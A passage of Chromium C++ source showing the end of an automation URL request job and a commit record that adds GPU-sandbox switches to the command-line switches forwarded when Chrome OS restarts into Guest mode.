message_filter_->RegisterRequest(this);\n }\n}\n\nvoid URLRequestAutomationJob::Kill() {\n if (message_filter_.get()) {\n if (!is_pending()) {\n message_filter_->Send(new AutomationMsg_RequestEnd(0, tab_, id_,\n URLRequestStatus(URLRequestStatus::CANCELED, net::ERR_ABORTED)));\n }\n }\n DisconnectFromMessageFilter();\n URLRequestJob::Kill();\n}\n\nbool URLRequestAutomationJob::ReadRawData(\n net::IOBuffer* buf, int buf_size, int* bytes_read) {\n DLOG(INFO) << \"URLRequestAutomationJob: \" <<\n request_->url().spec() << \" - read pending: \" << buf_size;\n\n \/\/ We should not receive a read request for a pending job.\n DCHECK(!is_pending());\n\n pending_buf_ = buf;\n pending_buf_size_ = buf_size;\n\n if (message_filter_) {\n message_filter_->Send(new AutomationMsg_RequestRead(0, tab_, id_,\n buf_size));\n SetStatus(URLRequestStatus(URLRequestStatus::IO_PENDING, 0));\n } else {\n ChromeThread::PostTask(ChromeThread::IO, FROM_HERE,\n NewRunnableMethod(this,\n &URLRequestAutomationJob::NotifyJobCompletionTask));\n }\n return false;\n}\n\nbool URLRequestAutomationJob::GetMimeType(std::string* mime_type) const {\n if (!mime_type_.empty()) {\n *mime_type = mime_type_;\n } else if (headers_) {\n headers_->GetMimeType(mime_type);\n }\n\n return (!mime_type->empty());\n}\n\nbool URLRequestAutomationJob::GetCharset(std::string* charset) {\n if (headers_)\n return headers_->GetCharset(charset);\n return false;\n}\n\nvoid URLRequestAutomationJob::GetResponseInfo(net::HttpResponseInfo* info) {\n if (headers_)\n info->headers = headers_;\n if (request_->url().SchemeIsSecure()) {\n \/\/ Make up a fake certificate for this response since we don't have\n \/\/ access to the real SSL info.\n const char* kCertIssuer = \"Chrome Internal\";\n const int kLifetimeDays = 100;\n\n info->ssl_info.cert =\n new net::X509Certificate(request_->url().GetWithEmptyPath().spec(),\n kCertIssuer,\n Time::Now(),\n Time::Now() +\n TimeDelta::FromDays(kLifetimeDays));\n info->ssl_info.cert_status = 0;\n info->ssl_info.security_bits = 0;\n }\n}\n\nint URLRequestAutomationJob::GetResponseCode() const {\n if (headers_)\n return headers_->response_code();\n\n static const int kDefaultResponseCode = 200;\n return kDefaultResponseCode;\n}\n\nbool URLRequestAutomationJob::IsRedirectResponse(\n GURL* location, int* http_status_code) {\n if (!net::HttpResponseHeaders::IsRedirectResponseCode(redirect_status_))\n return false;\n\n *http_status_code = redirect_status_;\n *location = GURL(redirect_url_);\n return true;\n}\n\nbool URLRequestAutomationJob::MayFilterMessage(const IPC::Message& message,\n int* request_id) {\n switch (message.type()) {\n case AutomationMsg_RequestStarted::ID:\n case AutomationMsg_RequestData::ID:\n case AutomationMsg_RequestEnd::ID: {\n void* iter = NULL;\n int tab = 0;\n if (message.ReadInt(&iter, &tab) &&\n message.ReadInt(&iter, request_id)) {\n return true;\n }\n break;\n }\n }\n\n return false;\n}\n\nvoid URLRequestAutomationJob::OnMessage(const IPC::Message& message) {\n if (!request_) {\n NOTREACHED() << __FUNCTION__\n << \": Unexpected request received for job:\"\n << id();\n return;\n }\n\n IPC_BEGIN_MESSAGE_MAP(URLRequestAutomationJob, message)\n IPC_MESSAGE_HANDLER(AutomationMsg_RequestStarted, OnRequestStarted)\n IPC_MESSAGE_HANDLER(AutomationMsg_RequestData, OnDataAvailable)\n IPC_MESSAGE_HANDLER(AutomationMsg_RequestEnd, OnRequestEnd)\n IPC_END_MESSAGE_MAP()\n}\n\nvoid URLRequestAutomationJob::OnRequestStarted(int tab, int id,\n const IPC::AutomationURLResponse& response) {\n DLOG(INFO) << \"URLRequestAutomationJob: \" <<\n request_->url().spec() << \" - response started.\";\n set_expected_content_size(response.content_length);\n mime_type_ = response.mime_type;\n\n redirect_url_ = response.redirect_url;\n redirect_status_ = response.redirect_status;\n DCHECK(redirect_status_ == 0 || redirect_status_ == 200 ||\n (redirect_status_ >= 300 && redirect_status_ < 400));\n\n if (!response.headers.empty()) {\n headers_ = new net::HttpResponseHeaders(\n net::HttpUtil::AssembleRawHeaders(response.headers.data(),\n response.headers.size()));\n }\n NotifyHeadersComplete();\n}\n\nvoid URLRequestAutomationJob::OnDataAvailable(\n int tab, int id, const std::string& bytes) {\n DLOG(INFO) << \"URLRequestAutomationJob: \" <<\n request_->url().spec() << \" - data available, Size: \" << bytes.size();\n DCHECK(!bytes.empty());\n\n \/\/ The request completed, and we have all the data.\n \/\/ Clear any IO pending status.\n SetStatus(URLRequestStatus());\n\n if (pending_buf_ && pending_buf_->data()) {\n DCHECK_GE(pending_buf_size_, bytes.size());\n const int bytes_to_copy = std::min(bytes.size(), pending_buf_size_);\n memcpy(pending_buf_->data(), &bytes[0], bytes_to_copy);\n\n pending_buf_ = NULL;\n pending_buf_size_ = 0;\n\n NotifyReadComplete(bytes_to_copy);\n } else {\n NOTREACHED() << \"Received unexpected data of length:\" << bytes.size();\n }\n}\n\nvoid URLRequestAutomationJob::OnRequestEnd(\n int tab, int id, const URLRequestStatus& status) {\n#ifndef NDEBUG\n std::string url;\n if (request_)\n url = request_->url().spec();\n DLOG(INFO) << \"URLRequestAutomationJob: \"\n << url << \" - request end. Status: \" << status.status();\n#endif\n\n \/\/ TODO(tommi): When we hit certificate errors, notify the delegate via\n \/\/ OnSSLCertificateError(). Right now we don't have the certificate\n \/\/ so we don't. We could possibly call OnSSLCertificateError with a NULL\n \/\/ certificate, but I'm not sure if all implementations expect it.\n \/\/ if (status.status() == URLRequestStatus::FAILED &&\n \/\/ net::IsCertificateError(status.os_error()) && request_->delegate()) {\n \/\/ request_->delegate()->OnSSLCertificateError(request_, status.os_error());\n \/\/ }\n\n DisconnectFromMessageFilter();\n \/\/ NotifyDone may have been called on the job if the original request was\n \/\/ redirected.\n if (!is_done()) {\n \/\/ We can complete the job if we have a valid response or a pending read.\n \/\/ An end request can be received in the following cases\n \/\/ 1. We failed to connect to the server, in which case we did not receive\n \/\/ a valid response.\n \/\/ 2. In response to a read request.\n if (!has_response_started() || pending_buf_) {\n NotifyDone(status);\n } else {\n \/\/ Wait for the http stack to issue a Read request where we will notify\n \/\/ that the job has completed.\n request_status_ = status;\n return;\n }\n }\n\n \/\/ Reset any pending reads.\n if (pending_buf_) {\n pending_buf_ = NULL;\n pending_buf_size_ = 0;\n NotifyReadComplete(0);\n }\n}\n\nvoid URLRequestAutomationJob::Cleanup() {\n headers_ = NULL;\n mime_type_.erase();\n\n id_ = 0;\n tab_ = 0;\n\n DCHECK(message_filter_ == NULL);\n DisconnectFromMessageFilter();\n\n pending_buf_ = NULL;\n pending_buf_size_ = 0;\n}\n\nvoid URLRequestAutomationJob::StartAsync() {\n DLOG(INFO) << \"URLRequestAutomationJob: start request: \" <<\n (request_ ? request_->url().spec() : \"NULL request\");\n\n \/\/ If the job is cancelled before we got a chance to start it\n \/\/ we have nothing much to do here.\n if (is_done())\n return;\n\n \/\/ We should not receive a Start request for a pending job.\n DCHECK(!is_pending());\n\n if (!request_) {\n NotifyStartError(URLRequestStatus(URLRequestStatus::FAILED,\n net::ERR_FAILED));\n return;\n }\n\n \/\/ Register this request with automation message filter.\n message_filter_->RegisterRequest(this);\n\n \/\/ Strip unwanted headers.\n net::HttpRequestHeaders new_request_headers;\n new_request_headers.MergeFrom(request_->extra_request_headers());\n for (size_t i = 0; i < arraysize(kFilteredHeaderStrings); ++i)\n new_request_headers.RemoveHeader(kFilteredHeaderStrings[i]);\n\n if (request_->context()) {\n \/\/ Only add default Accept-Language and Accept-Charset if the request\n \/\/ didn't have them specified.\n if (!new_request_headers.HasHeader(\n net::HttpRequestHeaders::kAcceptLanguage) &&\n !request_->context()->accept_language().empty()) {\n new_request_headers.SetHeader(net::HttpRequestHeaders::kAcceptLanguage,\n request_->context()->accept_language());\n }\n if (!new_request_headers.HasHeader(\n net::HttpRequestHeaders::kAcceptCharset) &&\n !request_->context()->accept_charset().empty()) {\n new_request_headers.SetHeader(net::HttpRequestHeaders::kAcceptCharset,\n request_->context()->accept_charset());\n }\n }\n\n \/\/ Ensure that we do not send username and password fields in the referrer.\n GURL referrer(request_->GetSanitizedReferrer());\n\n \/\/ The referrer header must be suppressed if the preceding URL was\n \/\/ a secure one and the new one is not.\n if (referrer.SchemeIsSecure() && !request_->url().SchemeIsSecure()) {\n DLOG(INFO) <<\n \"Suppressing referrer header since going from secure to non-secure\";\n referrer = GURL();\n }\n\n \/\/ Ask automation to start this request.\n IPC::AutomationURLRequest automation_request = {\n request_->url().spec(),\n request_->method(),\n referrer.spec(),\n new_request_headers.ToString(),\n request_->get_upload()\n };\n\n DCHECK(message_filter_);\n message_filter_->Send(new AutomationMsg_RequestStart(0, tab_, id_,\n automation_request));\n}\n\nvoid URLRequestAutomationJob::DisconnectFromMessageFilter() {\n if (message_filter_) {\n message_filter_->UnRegisterRequest(this);\n message_filter_ = NULL;\n }\n}\n\nvoid URLRequestAutomationJob::StartPendingJob(\n int new_tab_handle,\n AutomationResourceMessageFilter* new_filter) {\n DCHECK(new_filter != NULL);\n tab_ = new_tab_handle;\n message_filter_ = new_filter;\n is_pending_ = false;\n Start();\n}\n\nvoid URLRequestAutomationJob::NotifyJobCompletionTask() {\n if (!is_done()) {\n NotifyDone(request_status_);\n }\n \/\/ Reset any pending reads.\n if (pending_buf_) {\n pending_buf_ = NULL;\n pending_buf_size_ = 0;\n NotifyReadComplete(0);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chromeos\/login\/chrome_restart_request.h\"\n\n#include <vector>\n\n#include \"ash\/ash_switches.h\"\n#include \"base\/chromeos\/chromeos_version.h\"\n#include \"base\/command_line.h\"\n#include \"base\/memory\/weak_ptr.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/path_service.h\"\n#include \"base\/prefs\/json_pref_store.h\"\n#include \"base\/prefs\/pref_service.h\"\n#include \"base\/process_util.h\"\n#include \"base\/stringprintf.h\"\n#include \"base\/strings\/string_split.h\"\n#include \"base\/timer.h\"\n#include \"base\/values.h\"\n#include \"cc\/base\/switches.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/lifetime\/application_lifetime.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chromeos\/chromeos_switches.h\"\n#include \"chromeos\/dbus\/dbus_thread_manager.h\"\n#include \"chromeos\/dbus\/session_manager_client.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/common\/content_switches.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"gpu\/command_buffer\/service\/gpu_switches.h\"\n#include \"media\/base\/media_switches.h\"\n#include \"ui\/base\/ui_base_switches.h\"\n#include \"ui\/compositor\/compositor_switches.h\"\n#include \"ui\/gfx\/switches.h\"\n#include \"ui\/gl\/gl_switches.h\"\n#include \"ui\/views\/corewm\/corewm_switches.h\"\n#include \"webkit\/plugins\/plugin_switches.h\"\n\nusing content::BrowserThread;\n\nnamespace chromeos {\n\nnamespace {\n\n\/\/ Increase logging level for Guest mode to avoid LOG(INFO) messages in logs.\nconst char kGuestModeLoggingLevel[] = \"1\";\n\n\/\/ Format of command line switch.\nconst char kSwitchFormatString[] = \" --%s=\\\"%s\\\"\";\n\n\/\/ User name which is used in the Guest session.\nconst char kGuestUserName[] = \"\";\n\n\/\/ Derives the new command line from |base_command_line| by doing the following:\n\/\/ - Forward a given switches list to new command;\n\/\/ - Set start url if given;\n\/\/ - Append\/override switches using |new_switches|;\nstd::string DeriveCommandLine(const GURL& start_url,\n const CommandLine& base_command_line,\n const base::DictionaryValue& new_switches,\n CommandLine* command_line) {\n DCHECK_NE(&base_command_line, command_line);\n\n static const char* kForwardSwitches[] = {\n ::switches::kAllowWebUICompositing,\n ::switches::kDeviceManagementUrl,\n ::switches::kDisableAccelerated2dCanvas,\n ::switches::kDisableAcceleratedOverflowScroll,\n ::switches::kDisableAcceleratedPlugins,\n ::switches::kDisableAcceleratedVideoDecode,\n ::switches::kDisableBrowserPluginCompositing,\n ::switches::kDisableEncryptedMedia,\n ::switches::kDisableForceCompositingMode,\n ::switches::kDisableGpuShaderDiskCache,\n ::switches::kDisableGpuWatchdog,\n ::switches::kDisableLoginAnimations,\n ::switches::kDisableOobeAnimation,\n ::switches::kDisablePanelFitting,\n ::switches::kDisableSeccompFilterSandbox,\n ::switches::kDisableSeccompSandbox,\n ::switches::kDisableThreadedCompositing,\n ::switches::kEnableAcceleratedOverflowScroll,\n ::switches::kEnableCompositingForFixedPosition,\n ::switches::kEnableGestureTapHighlight,\n ::switches::kDisableGestureTapHighlight,\n ::switches::kEnableLogging,\n ::switches::kEnablePinch,\n ::switches::kEnableThreadedCompositing,\n ::switches::kEnableViewport,\n ::switches::kEnableVsyncNotification,\n ::switches::kForceDeviceScaleFactor,\n ::switches::kGpuStartupDialog,\n ::switches::kHasChromeOSDiamondKey,\n ::switches::kHasChromeOSKeyboard,\n ::switches::kNaturalScrollDefault,\n ::switches::kNoSandbox,\n ::switches::kPpapiFlashArgs,\n ::switches::kPpapiFlashInProcess,\n ::switches::kPpapiFlashPath,\n ::switches::kPpapiFlashVersion,\n ::switches::kPpapiInProcess,\n ::switches::kRendererStartupDialog,\n#if defined(USE_XI2_MT)\n ::switches::kTouchCalibration,\n#endif\n ::switches::kTouchDevices,\n ::switches::kTouchEvents,\n ::switches::kTouchOptimizedUI,\n ::switches::kUIDisableThreadedCompositing,\n ::switches::kUIMaxFramesPending,\n ::switches::kUIPrioritizeInGpuProcess,\n#if defined(USE_CRAS)\n ::switches::kUseCras,\n#endif\n ::switches::kUseGL,\n ::switches::kUserDataDir,\n ::switches::kUseExynosVda,\n ::switches::kV,\n ash::switches::kAshTouchHud,\n ash::switches::kAuraLegacyPowerButton,\n ash::switches::kAshDisableNewNetworkStatusArea,\n ash::switches::kAshEnableNewAudioHandler,\n \/\/ Please keep these in alphabetical order. Non-UI Compositor switches\n \/\/ here should also be added to\n \/\/ content\/browser\/renderer_host\/render_process_host_impl.cc.\n cc::switches::kBackgroundColorInsteadOfCheckerboard,\n cc::switches::kCompositeToMailbox,\n cc::switches::kDisableCheapnessEstimator,\n cc::switches::kDisableColorEstimator,\n cc::switches::kDisableImplSidePainting,\n cc::switches::kDisablePinchZoomScrollbars,\n cc::switches::kDisableThreadedAnimation,\n cc::switches::kEnableCompositorFrameMessage,\n cc::switches::kEnableImplSidePainting,\n cc::switches::kEnablePartialSwap,\n cc::switches::kEnablePerTilePainting,\n cc::switches::kEnablePinchZoomScrollbars,\n cc::switches::kEnablePredictionBenchmarking,\n cc::switches::kEnableRightAlignedScheduling,\n cc::switches::kEnableTopControlsPositionCalculation,\n cc::switches::kLowResolutionContentsScaleFactor,\n cc::switches::kMaxTilesForInterestArea,\n cc::switches::kMaxUnusedResourceMemoryUsagePercentage,\n cc::switches::kNumRasterThreads,\n cc::switches::kShowCompositedLayerBorders,\n cc::switches::kShowCompositedLayerTree,\n cc::switches::kShowFPSCounter,\n cc::switches::kShowNonOccludingRects,\n cc::switches::kShowOccludingRects,\n cc::switches::kShowPropertyChangedRects,\n cc::switches::kShowReplicaScreenSpaceRects,\n cc::switches::kShowScreenSpaceRects,\n cc::switches::kShowSurfaceDamageRects,\n cc::switches::kSlowDownRasterScaleFactor,\n cc::switches::kTraceAllRenderedFrames,\n cc::switches::kTraceOverdraw,\n cc::switches::kUIDisablePartialSwap,\n cc::switches::kUIEnablePerTilePainting,\n chromeos::switches::kDbusStub,\n chromeos::switches::kLoginProfile,\n gfx::switches::kEnableBrowserTextSubpixelPositioning,\n gfx::switches::kEnableWebkitTextSubpixelPositioning,\n views::corewm::switches::kNoDropShadows,\n views::corewm::switches::kWindowAnimationsDisabled,\n };\n command_line->CopySwitchesFrom(base_command_line,\n kForwardSwitches,\n arraysize(kForwardSwitches));\n\n if (start_url.is_valid())\n command_line->AppendArg(start_url.spec());\n\n for (base::DictionaryValue::Iterator it(new_switches);\n !it.IsAtEnd();\n it.Advance()) {\n std::string value;\n CHECK(it.value().GetAsString(&value));\n command_line->AppendSwitchASCII(it.key(), value);\n }\n\n std::string cmd_line_str = command_line->GetCommandLineString();\n \/\/ Special workaround for the arguments that should be quoted.\n \/\/ Copying switches won't be needed when Guest mode won't need restart\n \/\/ http:\/\/crosbug.com\/6924\n if (base_command_line.HasSwitch(::switches::kRegisterPepperPlugins)) {\n cmd_line_str += base::StringPrintf(\n kSwitchFormatString,\n ::switches::kRegisterPepperPlugins,\n base_command_line.GetSwitchValueNative(\n ::switches::kRegisterPepperPlugins).c_str());\n }\n\n \/\/ TODO(zelidrag): Remove this hack that get us around compositing bug from\n \/\/ http:\/\/crbug.com\/179256 once that bug is resolved.\n if (command_line->HasSwitch(::switches::kForceAppMode)) {\n std::string switch_to_remove(\"--\");\n switch_to_remove.append(cc::switches::kEnablePartialSwap);\n cmd_line_str = cmd_line_str.replace(cmd_line_str.find(switch_to_remove),\n switch_to_remove.length(), \"\");\n }\n\n return cmd_line_str;\n}\n\n\/\/ Simulates a session manager restart by launching give command line\n\/\/ and exit current process.\nvoid ReLaunch(const std::string& command_line) {\n std::vector<std::string> argv;\n\n \/\/ This is not a proper way to get |argv| but it's good enough for debugging.\n base::SplitString(command_line, ' ', &argv);\n\n base::LaunchProcess(argv, base::LaunchOptions(), NULL);\n chrome::AttemptUserExit();\n}\n\n\/\/ Empty function that run by the local state task runner to ensure last\n\/\/ commit goes through.\nvoid EnsureLocalStateIsWritten() {}\n\n\/\/ Wraps the work of sending chrome restart request to session manager.\n\/\/ If local state is present, try to commit it first. The request is fired when\n\/\/ the commit goes through or some time (3 seconds) has elapsed.\nclass ChromeRestartRequest\n : public base::SupportsWeakPtr<ChromeRestartRequest> {\n public:\n explicit ChromeRestartRequest(const std::string& command_line);\n ~ChromeRestartRequest();\n\n \/\/ Starts the request.\n void Start();\n\n private:\n \/\/ Fires job restart request to session manager.\n void RestartJob();\n\n const int pid_;\n const std::string command_line_;\n base::OneShotTimer<ChromeRestartRequest> timer_;\n\n DISALLOW_COPY_AND_ASSIGN(ChromeRestartRequest);\n};\n\nChromeRestartRequest::ChromeRestartRequest(const std::string& command_line)\n : pid_(getpid()),\n command_line_(command_line) {}\n\nChromeRestartRequest::~ChromeRestartRequest() {}\n\nvoid ChromeRestartRequest::Start() {\n VLOG(1) << \"Requesting a restart with PID \" << pid_\n << \" and command line: \" << command_line_;\n\n \/\/ Session Manager may kill the chrome anytime after this point.\n \/\/ Write exit_cleanly and other stuff to the disk here.\n g_browser_process->EndSession();\n\n PrefService* local_state = g_browser_process->local_state();\n if (!local_state) {\n RestartJob();\n return;\n }\n\n \/\/ XXX: normally this call must not be needed, however RestartJob\n \/\/ just kills us so settings may be lost. See http:\/\/crosbug.com\/13102\n local_state->CommitPendingWrite();\n timer_.Start(\n FROM_HERE, base::TimeDelta::FromSeconds(3), this,\n &ChromeRestartRequest::RestartJob);\n\n \/\/ Post a task to local state task runner thus it occurs last on the task\n \/\/ queue, so it would be executed after committing pending write on that\n \/\/ thread.\n scoped_refptr<base::SequencedTaskRunner> local_state_task_runner =\n JsonPrefStore::GetTaskRunnerForFile(\n base::FilePath(chrome::kLocalStorePoolName),\n BrowserThread::GetBlockingPool());\n local_state_task_runner->PostTaskAndReply(\n FROM_HERE,\n base::Bind(&EnsureLocalStateIsWritten),\n base::Bind(&ChromeRestartRequest::RestartJob, AsWeakPtr()));\n}\n\nvoid ChromeRestartRequest::RestartJob() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n DBusThreadManager::Get()->GetSessionManagerClient()->RestartJob(\n pid_, command_line_);\n\n delete this;\n}\n\n} \/\/ namespace\n\nstd::string GetOffTheRecordCommandLine(\n const GURL& start_url,\n const CommandLine& base_command_line,\n CommandLine* command_line) {\n base::DictionaryValue otr_switches;\n otr_switches.SetString(switches::kGuestSession, std::string());\n otr_switches.SetString(::switches::kIncognito, std::string());\n otr_switches.SetString(::switches::kLoggingLevel, kGuestModeLoggingLevel);\n otr_switches.SetString(switches::kLoginUser, kGuestUserName);\n\n \/\/ Override the home page.\n otr_switches.SetString(::switches::kHomePage,\n GURL(chrome::kChromeUINewTabURL).spec());\n\n return DeriveCommandLine(start_url,\n base_command_line,\n otr_switches,\n command_line);\n}\n\nvoid RestartChrome(const std::string& command_line) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n static bool restart_requested = false;\n if (restart_requested) {\n NOTREACHED() << \"Request chrome restart for more than once.\";\n }\n restart_requested = true;\n\n if (!base::chromeos::IsRunningOnChromeOS()) {\n \/\/ Relaunch chrome without session manager on dev box.\n ReLaunch(command_line);\n return;\n }\n\n \/\/ ChromeRestartRequest deletes itself after request sent to session manager.\n (new ChromeRestartRequest(command_line))->Start();\n}\n\n} \/\/ namespace chromeos\n<commit_msg>Pass '--{disable,enable}-gpu-sandbox' to Guest mode.<commit_after>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chromeos\/login\/chrome_restart_request.h\"\n\n#include <vector>\n\n#include \"ash\/ash_switches.h\"\n#include \"base\/chromeos\/chromeos_version.h\"\n#include \"base\/command_line.h\"\n#include \"base\/memory\/weak_ptr.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/path_service.h\"\n#include \"base\/prefs\/json_pref_store.h\"\n#include \"base\/prefs\/pref_service.h\"\n#include \"base\/process_util.h\"\n#include \"base\/stringprintf.h\"\n#include \"base\/strings\/string_split.h\"\n#include \"base\/timer.h\"\n#include \"base\/values.h\"\n#include \"cc\/base\/switches.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/lifetime\/application_lifetime.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chromeos\/chromeos_switches.h\"\n#include \"chromeos\/dbus\/dbus_thread_manager.h\"\n#include \"chromeos\/dbus\/session_manager_client.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/common\/content_switches.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"gpu\/command_buffer\/service\/gpu_switches.h\"\n#include \"media\/base\/media_switches.h\"\n#include \"ui\/base\/ui_base_switches.h\"\n#include \"ui\/compositor\/compositor_switches.h\"\n#include \"ui\/gfx\/switches.h\"\n#include \"ui\/gl\/gl_switches.h\"\n#include \"ui\/views\/corewm\/corewm_switches.h\"\n#include \"webkit\/plugins\/plugin_switches.h\"\n\nusing content::BrowserThread;\n\nnamespace chromeos {\n\nnamespace {\n\n\/\/ Increase logging level for Guest mode to avoid LOG(INFO) messages in logs.\nconst char kGuestModeLoggingLevel[] = \"1\";\n\n\/\/ Format of command line switch.\nconst char kSwitchFormatString[] = \" --%s=\\\"%s\\\"\";\n\n\/\/ User name which is used in the Guest session.\nconst char kGuestUserName[] = \"\";\n\n\/\/ Derives the new command line from |base_command_line| by doing the following:\n\/\/ - Forward a given switches list to new command;\n\/\/ - Set start url if given;\n\/\/ - Append\/override switches using |new_switches|;\nstd::string DeriveCommandLine(const GURL& start_url,\n const CommandLine& base_command_line,\n const base::DictionaryValue& new_switches,\n CommandLine* command_line) {\n DCHECK_NE(&base_command_line, command_line);\n\n static const char* kForwardSwitches[] = {\n ::switches::kAllowWebUICompositing,\n ::switches::kDeviceManagementUrl,\n ::switches::kDisableAccelerated2dCanvas,\n ::switches::kDisableAcceleratedOverflowScroll,\n ::switches::kDisableAcceleratedPlugins,\n ::switches::kDisableAcceleratedVideoDecode,\n ::switches::kDisableBrowserPluginCompositing,\n ::switches::kDisableEncryptedMedia,\n ::switches::kDisableForceCompositingMode,\n ::switches::kDisableGpuShaderDiskCache,\n ::switches::kDisableGpuWatchdog,\n ::switches::kDisableLoginAnimations,\n ::switches::kDisableOobeAnimation,\n ::switches::kDisablePanelFitting,\n ::switches::kDisableSeccompFilterSandbox,\n ::switches::kDisableSeccompSandbox,\n ::switches::kDisableThreadedCompositing,\n ::switches::kEnableAcceleratedOverflowScroll,\n ::switches::kEnableCompositingForFixedPosition,\n ::switches::kEnableGestureTapHighlight,\n ::switches::kDisableGestureTapHighlight,\n ::switches::kDisableGpuSandbox,\n ::switches::kEnableGpuSandbox,\n ::switches::kEnableLogging,\n ::switches::kEnablePinch,\n ::switches::kEnableThreadedCompositing,\n ::switches::kEnableViewport,\n ::switches::kEnableVsyncNotification,\n ::switches::kForceDeviceScaleFactor,\n ::switches::kGpuStartupDialog,\n ::switches::kHasChromeOSDiamondKey,\n ::switches::kHasChromeOSKeyboard,\n ::switches::kNaturalScrollDefault,\n ::switches::kNoSandbox,\n ::switches::kPpapiFlashArgs,\n ::switches::kPpapiFlashInProcess,\n ::switches::kPpapiFlashPath,\n ::switches::kPpapiFlashVersion,\n ::switches::kPpapiInProcess,\n ::switches::kRendererStartupDialog,\n#if defined(USE_XI2_MT)\n ::switches::kTouchCalibration,\n#endif\n ::switches::kTouchDevices,\n ::switches::kTouchEvents,\n ::switches::kTouchOptimizedUI,\n ::switches::kUIDisableThreadedCompositing,\n ::switches::kUIMaxFramesPending,\n ::switches::kUIPrioritizeInGpuProcess,\n#if defined(USE_CRAS)\n ::switches::kUseCras,\n#endif\n ::switches::kUseGL,\n ::switches::kUserDataDir,\n ::switches::kUseExynosVda,\n ::switches::kV,\n ash::switches::kAshTouchHud,\n ash::switches::kAuraLegacyPowerButton,\n ash::switches::kAshDisableNewNetworkStatusArea,\n ash::switches::kAshEnableNewAudioHandler,\n \/\/ Please keep these in alphabetical order. Non-UI Compositor switches\n \/\/ here should also be added to\n \/\/ content\/browser\/renderer_host\/render_process_host_impl.cc.\n cc::switches::kBackgroundColorInsteadOfCheckerboard,\n cc::switches::kCompositeToMailbox,\n cc::switches::kDisableCheapnessEstimator,\n cc::switches::kDisableColorEstimator,\n cc::switches::kDisableImplSidePainting,\n cc::switches::kDisablePinchZoomScrollbars,\n cc::switches::kDisableThreadedAnimation,\n cc::switches::kEnableCompositorFrameMessage,\n cc::switches::kEnableImplSidePainting,\n cc::switches::kEnablePartialSwap,\n cc::switches::kEnablePerTilePainting,\n cc::switches::kEnablePinchZoomScrollbars,\n cc::switches::kEnablePredictionBenchmarking,\n cc::switches::kEnableRightAlignedScheduling,\n cc::switches::kEnableTopControlsPositionCalculation,\n cc::switches::kLowResolutionContentsScaleFactor,\n cc::switches::kMaxTilesForInterestArea,\n cc::switches::kMaxUnusedResourceMemoryUsagePercentage,\n cc::switches::kNumRasterThreads,\n cc::switches::kShowCompositedLayerBorders,\n cc::switches::kShowCompositedLayerTree,\n cc::switches::kShowFPSCounter,\n cc::switches::kShowNonOccludingRects,\n cc::switches::kShowOccludingRects,\n cc::switches::kShowPropertyChangedRects,\n cc::switches::kShowReplicaScreenSpaceRects,\n cc::switches::kShowScreenSpaceRects,\n cc::switches::kShowSurfaceDamageRects,\n cc::switches::kSlowDownRasterScaleFactor,\n cc::switches::kTraceAllRenderedFrames,\n cc::switches::kTraceOverdraw,\n cc::switches::kUIDisablePartialSwap,\n cc::switches::kUIEnablePerTilePainting,\n chromeos::switches::kDbusStub,\n chromeos::switches::kLoginProfile,\n gfx::switches::kEnableBrowserTextSubpixelPositioning,\n gfx::switches::kEnableWebkitTextSubpixelPositioning,\n views::corewm::switches::kNoDropShadows,\n views::corewm::switches::kWindowAnimationsDisabled,\n };\n command_line->CopySwitchesFrom(base_command_line,\n kForwardSwitches,\n arraysize(kForwardSwitches));\n\n if (start_url.is_valid())\n command_line->AppendArg(start_url.spec());\n\n for (base::DictionaryValue::Iterator it(new_switches);\n !it.IsAtEnd();\n it.Advance()) {\n std::string value;\n CHECK(it.value().GetAsString(&value));\n command_line->AppendSwitchASCII(it.key(), value);\n }\n\n std::string cmd_line_str = command_line->GetCommandLineString();\n \/\/ Special workaround for the arguments that should be quoted.\n \/\/ Copying switches won't be needed when Guest mode won't need restart\n \/\/ http:\/\/crosbug.com\/6924\n if (base_command_line.HasSwitch(::switches::kRegisterPepperPlugins)) {\n cmd_line_str += base::StringPrintf(\n kSwitchFormatString,\n ::switches::kRegisterPepperPlugins,\n base_command_line.GetSwitchValueNative(\n ::switches::kRegisterPepperPlugins).c_str());\n }\n\n \/\/ TODO(zelidrag): Remove this hack that get us around compositing bug from\n \/\/ http:\/\/crbug.com\/179256 once that bug is resolved.\n if (command_line->HasSwitch(::switches::kForceAppMode)) {\n std::string switch_to_remove(\"--\");\n switch_to_remove.append(cc::switches::kEnablePartialSwap);\n cmd_line_str = cmd_line_str.replace(cmd_line_str.find(switch_to_remove),\n switch_to_remove.length(), \"\");\n }\n\n return cmd_line_str;\n}\n\n\/\/ Simulates a session manager restart by launching give command line\n\/\/ and exit current process.\nvoid ReLaunch(const std::string& command_line) {\n std::vector<std::string> argv;\n\n \/\/ This is not a proper way to get |argv| but it's good enough for debugging.\n base::SplitString(command_line, ' ', &argv);\n\n base::LaunchProcess(argv, base::LaunchOptions(), NULL);\n chrome::AttemptUserExit();\n}\n\n\/\/ Empty function that run by the local state task runner to ensure last\n\/\/ commit goes through.\nvoid EnsureLocalStateIsWritten() {}\n\n\/\/ Wraps the work of sending chrome restart request to session manager.\n\/\/ If local state is present, try to commit it first. The request is fired when\n\/\/ the commit goes through or some time (3 seconds) has elapsed.\nclass ChromeRestartRequest\n : public 